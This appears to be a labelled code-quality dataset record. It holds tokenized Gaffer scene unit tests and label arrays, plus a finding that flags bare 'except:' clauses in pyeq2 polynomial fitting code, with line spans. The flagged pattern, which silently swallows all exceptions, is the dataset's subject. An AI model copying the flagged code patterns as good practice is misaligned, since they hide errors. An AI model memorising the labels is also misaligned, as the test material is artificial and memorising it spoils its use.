"\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "[_", "\"", "set", "\"_", "]_", "._", "set", "Value_", "(_", "\"", "set", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a1_", "=_", "Ga", "ffer", "Scene_", "._", "Standard", "Attributes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a1_", "[_", "\"", "in", "\"_", "]_", "._", "set", "Input_", "(_", "s1_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a1_", "[_", "\"", "attribute", "s", "\"_", "]_", "[_", "\"", "double", "Side", "d", "\"_", "]_", "[_", "\"", "enable", "d", "\"_", "]_", "._", "set", "Value_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a1_", "[_", "\"", "filter", "\"_", "]_", "._", "set", "Input_", "(_", "f_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a2_", "=_", "Ga", "ffer", "Scene_", "._", "Standard", "Attributes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a2_", "[_", "\"", "in", "\"_", "]_", "._", "set", "Input_", "(_", "s2_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a2_", "[_", "\"", "attribute", "s", "\"_", "]_", "[_", "\"", "double", "Side", "d", "\"_", "]_", "[_", "\"", "enable", "d", "\"_", "]_", "._", "set", "Value_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a2_", "[_", "\"", "filter", "\"_", "]_", "._", "set", "Input_", "(_", "f_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Scen", "e", "Valid_", "(_", "a1_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Scen", "e", "Valid_", "(_", "a2_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "double", "Side", "d", "\"_", "in_", "a1_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "group", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "double", "Side", "d", "\"_", "not_", "in_", "a1_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "group", "/", "plane", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "double", "Side", "d", "\"_", "not_", "in_", "a2_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "group", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "double", "Side", "d", "\"_", "in_", "a2_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "group", "/", "plane", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Set", "Filter", "Test_", "(_", "Ga", "ffer", "Scen", "e", "Test_", "._", "Scen", "e", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Isolat", "e_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "p1_", "=_", "Ga", "ffer", "Scene_", "._", "Plane_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p2_", "=_", "Ga", "ffer", "Scene_", "._", "Plane_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "Ga", "ffer", "Scene_", "._", "Group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "[_", "\"", "in", "\"_", "]_", "[_", "0_", "]_", "._", "set", "Input_", "(_", "p1_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "[_", "\"", "in", "\"_", "]_", "[_", "1_", "]_", "._", "set", "Input_", "(_", "p2_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s1_", "=_", "Ga", "ffer", "Scene_", "._", "Set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s1_", "[_", "\"", "name", "\"_", "]_", "._", "set", "Value_", "(_", "\"", "set1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s1_", "[_", "\"", "path", "s", "\"_", "]_", "._", "set", "Value_", "(_", "IE", "Core_", "._", "String", "Vector", "Data_", "(_", "[_", "\"/", "group", "/", "plane", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s1_", "[_", "\"", "in", "\"_", "]_", "._", "set", "Input_", "(_", "g_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s2_", "=_", "Ga", "ffer", "Scene_", "._", "Set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s2_", "[_", "\"", "name", "\"_", "]_", "._", "set", "Value_", "(_", "\"", "set", "2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s2_", "[_", "\"", "path", "s", "\"_", "]_", "._", "set", "Value_", "(_", "IE", "Core_", "._", "String", "Vector", "Data_", "(_", "[_", "\"/", "group", "\"_", ",_", "\"/", "group", "/", "plane", "1", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s2_", "[_", "\"", "in", "\"_", "]_", "._", "set", "Input_", "(_", "s1_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "Ga", "ffer", "Scene_", "._", "Set", "Filter_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "[_", "\"", "set", "\"_", "]_", "._", "set", "Value_", "(_", "\"", "set1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "i_", "=_", "Ga", "ffer", "Scene_", "._", "Isolat", "e_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "[_", "\"", "in", "\"_", "]_", "._", "set", "Input_", "(_", "s2_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "[_", "\"", "filter", "\"_", "]_", "._", "set", "Input_", "(_", "f_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Scen", "e", "Valid_", "(_", "i_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "i_", "[_", "\"", "out", "\"_", "]_", "._", "child", "Names_", "(_", "\"/", "group", "\"_", ")_", ",_", "IE", "Core_", "._", "Intern", "ed", "String", "Vector", "Data_", "(_", "[_", "\"", "plane", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "i_", "[_", "\"", "out", "\"_", "]_", "._", "set_", "(_", "\"", "set1", "\"_", ")_", "._", "value_", "._", "paths_", "(_", ")_", ",_", "[_", "\"/", "group", "/", "plane", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "i_", "[_", "\"", "out", "\"_", "]_", "._", "set_", "(_", "\"", "set", "2", "\"_", ")_", "._", "value_", "._", "paths_", "(_", ")_", ",_", "[_", "\"/", "group", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Set", "Filter", "Test_", "(_", "Ga", "ffer", "Scen", "e", "Test_", "._", "Scen", "e", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Exist", "ent", "Sets_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "p_", "=_", "Ga", "ffer", "Scene_", "._", "Plane_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "[_", "\"", "sets", "\"_", "]_", "._", "set", "Value_", "(_", "\"", "flat", "Thin", "gs", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "Ga", "ffer", "Scene_", "._", "Standard", "Attributes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "[_", "\"", "in", "\"_", "]_", "._", "set", "Input_", "(_", "p_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "[_", "\"", "attribute", "s", "\"_", "]_", "[_", "\"", "double", "Side", "d", "\"_", "]_", "[_", "\"", "enable", "d", "\"_", "]_", "._", "set", "Value_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "double", "Side", "d", "\"_", "in_", "a_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "plane", "\"_", ")_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "Ga", "ffer", "Scene_", "._", "Set", "Filter_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "[_", "\"", "filter", "\"_", "]_", "._", "set", "Input_", "(_", "f_", "[_", "\"", "out", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "\"", "double", "Side", "d", "\"_", "in_", "a_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "plane", "\"_", ")_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "[_", "\"", "set", "\"_", "]_", "._", "set", "Value_", "(_", "\"", "non", "Exist", "ent", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "\"", "double", "Side", "d", "\"_", "in_", "a_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "plane", "\"_", ")_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "[_", "\"", "set", "\"_", "]_", "._", "set", "Value_", "(_", "\"", "flat", "Thin", "gs", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "double", "Side", "d", "\"_", "in_", "a_", "[_", "\"", "out", "\"_", "]_", "._", "attributes_", "(_", "\"/", "plane", "\"_", ")_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
zunzun/pyeq2/Models_3D/Polynomial.py
[ { "content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n PowX_2 = inDataCacheDictionary['PowX_2.0'] # only need to perform this dictionary look-up once\n PowY_2 = inDataCacheDictionary['PowY_2.0'] # only need to perform this dictionary look-up once\n PowX_3 = inDataCacheDictionary['PowX_3.0'] # only need to perform this dictionary look-up once\n Powy_3 = inDataCacheDictionary['PowY_3.0'] # only need to perform this dictionary look-up once\n XY = inDataCacheDictionary['XY'] # only need to perform this dictionary look-up once\n PowX_PowY_21 = inDataCacheDictionary['PowX_PowY_2.01.0'] # only need to perform this dictionary look-up once\n PowX_PowY_12 = inDataCacheDictionary['PowX_PowY_1.02.0'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n d = inCoeffs[3]\n f = inCoeffs[4]\n g = inCoeffs[5]\n h = inCoeffs[6]\n i = inCoeffs[7]\n j = inCoeffs[8]\n k = inCoeffs[9]\n\n try:\n temp = a\n temp += b * x_in\n temp += c * y_in\n temp += d * PowX_2\n temp += f * PowY_2\n temp += g * PowX_3\n temp += h * Powy_3\n temp += i * XY\n temp += j * PowX_PowY_21\n temp += k * PowX_PowY_12\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300", "metadata": "root.FullCubic.CalculateModelPredictions", "header": "['class', 'FullCubic', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']", "index": 66 }, { "content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n PowX_2 = inDataCacheDictionary['PowX_2.0'] # only need to perform this dictionary look-up once\n PowY_2 = inDataCacheDictionary['PowY_2.0'] # only need to perform this dictionary look-up once\n XY = inDataCacheDictionary['XY'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n d = inCoeffs[3]\n f = inCoeffs[4]\n g = inCoeffs[5]\n\n try:\n temp = a\n temp += b * x_in\n temp += c * y_in\n temp += d * PowX_2\n temp += f * PowY_2\n temp += g * XY\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300", "metadata": "root.FullQuadratic.CalculateModelPredictions", "header": "['class', 'FullQuadratic', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']", "index": 154 }, { "content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n\n try:\n temp = a + b * x_in + c * y_in\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300", "metadata": "root.Linear.CalculateModelPredictions", "header": "['class', 'Linear', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']", "index": 223 }, { "content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n PowX_2 = inDataCacheDictionary['PowX_2.0'] # only need to perform this dictionary look-up once\n PowY_2 = inDataCacheDictionary['PowY_2.0'] # only need to perform this dictionary look-up once\n PowX_3 = inDataCacheDictionary['PowX_3.0'] # only need to perform this dictionary look-up once\n Powy_3 = inDataCacheDictionary['PowY_3.0'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n d = inCoeffs[3]\n f = inCoeffs[4]\n g = inCoeffs[5]\n h = inCoeffs[6]\n\n try:\n temp = a\n temp += b * x_in\n temp += c * y_in\n temp += d * PowX_2\n temp += f * PowY_2\n temp += g * PowX_3\n temp += h * Powy_3\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300", "metadata": "root.SimplifiedCubic.CalculateModelPredictions", "header": "['class', 'SimplifiedCubic', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']", "index": 280 }, { "content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once\n y_in = inDataCacheDictionary['Y'] # only need to perform this dictionary look-up once\n PowX_2 = inDataCacheDictionary['PowX_2.0'] # only need to perform this dictionary look-up once\n PowY_2 = inDataCacheDictionary['PowY_2.0'] # only need to perform this dictionary look-up once\n \n a = inCoeffs[0]\n b = inCoeffs[1]\n c = inCoeffs[2]\n d = inCoeffs[3]\n f = inCoeffs[4]\n\n try:\n temp = a\n temp += b * x_in\n temp += c * y_in\n temp += d * PowX_2\n temp += f * PowY_2\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300", "metadata": "root.SimplifiedQuadratic.CalculateModelPredictions", "header": "['class', 'SimplifiedQuadratic', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']", "index": 355 }, { "content": " def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary):\n temp = 0.0\n coeffCount = 0\n try:\n for i in range(self.xPolynomialOrder+1): # 0 to xPolynomialOrder\n for j in range(self.yPolynomialOrder+1): # 0 to xPolynomialOrder\n temp += inCoeffs[coeffCount] * eval(\"inDataCacheDictionary['PowX_PowY_\" + str(i) + \".0\" + str(j) + \".0']\")\n coeffCount += 1\n return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self)\n except:\n return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300", "metadata": "root.UserSelectablePolynomial.CalculateModelPredictions", "header": "['class', 'UserSelectablePolynomial', '(', 'pyeq2', '.', 'Model_3D_BaseClass', '.', 'Model_3D_BaseClass', ')', ':', '___EOS___']", "index": 448 } ]
[ { "span": "except:", "start_line": 100, "start_column": 8, "end_line": 100, "end_column": 15 }, { "span": "except:", "start_line": 176, "start_column": 8, "end_line": 176, "end_column": 15 }, { "span": "except:", "start_line": 234, "start_column": 8, "end_line": 234, "end_column": 15 }, { "span": "except:", "start_line": 305, "start_column": 8, "end_line": 305, "end_column": 15 }, { "span": "except:", "start_line": 374, "start_column": 8, "end_line": 374, "end_column": 15 }, { "span": "except:", "start_line": 457, "start_column": 8, "end_line": 457, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Full", "Cub", "ic_", "(_", "pye", "q2_", "._", "Model", "\\u", "3", "D", "\\u", "Base", "Class_", "._", "Model", "\\u", "3", "D", "\\u", "Base", "Class_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Calculat", "e", "Model", "Prediction", "s_", "(_", "self_", ",_", "in", "Coeff", "s_", ",_", "in", "Data", "Cache", "Dictionary_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x", "\\u", "in_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "X", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "\\u", "in_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Y", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "X", "\\u", "2_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "X", "\\u", "2.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "Y", "\\u", "2_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "Y", "\\u", "2.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "X", "\\u", "3_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "X", "\\u", "3.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "y", "\\u", "3_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "Y", "\\u", "3.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "XY_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "XY", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "X", "\\u", "Pow", "Y", "\\u", "21_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "X", "\\u", "Pow", "Y", "\\u", "2.0", "1.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "X", "\\u", "Pow", "Y", "\\u", "12_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "X", "\\u", "Pow", "Y", "\\u", "1.02", ".0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "in", "Coeff", "s_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "in", "Coeff", "s_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "in", "Coeff", "s_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "in", "Coeff", "s_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "in", "Coeff", "s_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "in", "Coeff", "s_", "[_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h_", "=_", "in", "Coeff", "s_", "[_", "6_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "in", "Coeff", "s_", "[_", "7_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "=_", "in", "Coeff", "s_", "[_", "8_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "k_", "=_", "in", "Coeff", "s_", "[_", "9_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "temp_", "=_", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "b_", "*_", "x", "\\u", "in_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "c_", "*_", "y", "\\u", "in_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "d_", "*_", "Pow", "X", "\\u", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "f_", "*_", "Pow", "Y", "\\u", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "g_", "*_", "Pow", "X", "\\u", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "h_", "*_", "Pow", "y", "\\u", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "i_", "*_", "XY_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "j_", "*_", "Pow", "X", "\\u", "Pow", "Y", "\\u", "21_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "k_", "*_", "Pow", "X", "\\u", "Pow", "Y", "\\u", "12_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "extend", "ed", "Version", "Handler_", "._", "Get", "Addition", "al", "Model", "Prediction", "s_", "(_", "temp_", ",_", "in", "Coeff", "s_", ",_", "in", "Data", "Cache", "Dictionary_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "numpy_", "._", "ones_", "(_", "len_", "(_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Dependent", "Data", "'_", "]_", ")_", ")_", "*_", "1.0", "E3", "00_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Full", "Quadra", "tic_", "(_", "pye", "q2_", "._", "Model", "\\u", "3", "D", "\\u", "Base", "Class_", "._", "Model", "\\u", "3", "D", "\\u", "Base", "Class_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Calculat", "e", "Model", "Prediction", "s_", "(_", "self_", ",_", "in", "Coeff", "s_", ",_", "in", "Data", "Cache", "Dictionary_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x", 